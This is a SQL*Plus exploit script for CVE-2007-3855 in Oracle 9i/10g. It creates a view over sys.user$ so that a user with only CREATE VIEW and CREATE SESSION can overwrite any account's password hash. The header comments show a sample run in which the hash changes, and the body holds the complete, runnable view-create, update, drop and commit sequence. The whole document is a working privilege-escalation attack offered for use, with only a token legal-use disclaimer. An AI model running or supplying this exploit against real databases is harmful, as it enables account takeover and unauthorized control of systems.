Oracle 9i and 10g evil view change password exploit.
67a721e9a7e576c4b91c255ef53da472e4330cc3f959dc516deafe74bdaf2711
--
-- bunkerview.sql
--
-- Oracle 9i/10g - evil view exploit (CVE-2007-3855)
-- Uses evil view to perform unauthorized password update
--
-- by Andrea "bunker" Purificato - https://rawlab.mindcreations.com
-- 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
--
-- This code should be used only for LEGAL purpose!
-- ...and remember: use Oracle at your own risk ;-)
--
-- Thanks to security researchers all around the world...
-- Smarties rules (they know what I mean)! ;-D
--
--
-- SQL> select * from user_sys_privs;
--
-- USERNAME PRIVILEGE ADM
-- ------------------------------ ---------------------------------------- ---
-- TEST CREATE VIEW NO
-- TEST CREATE SESSION NO
--
-- SQL> select password from sys.user$ where name='TEST';
--
-- PASSWORD
-- ------------------------------
-- AAAAAAAAAAAAAAAA
--
-- SQL> @bunkerview
-- [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
-- [+] by Andrea "bunker" Purificato - https://rawlab.mindcreations.com
-- [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
--
-- Target username (default TEST):
--
-- View created.
--
-- old 1: update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user'
-- new 1: update bunkerview set password='6D9FEAAB597EF01B' where name='TEST'
--
-- 1 row updated.
--
--
-- View dropped.
--
--
-- Commit complete.
--
-- SQL> select password from sys.user$ where name='TEST';
--
-- PASSWORD
-- ------------------------------
-- 6D9FEAAB597EF01B
--
set serveroutput on;
prompt [+] bunkerview.sql - Evil view exploit for Oracle 9i/10g (CVE-2007-3855)
prompt [+] by Andrea "bunker" Purificato - https://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
create or replace view bunkerview as
select x.name,x.password from sys.user$ x left outer join sys.user$ y on x.name=y.name;
update bunkerview set password='6D9FEAAB597EF01B' where name='&the_user';
drop view bunkerview;
commit;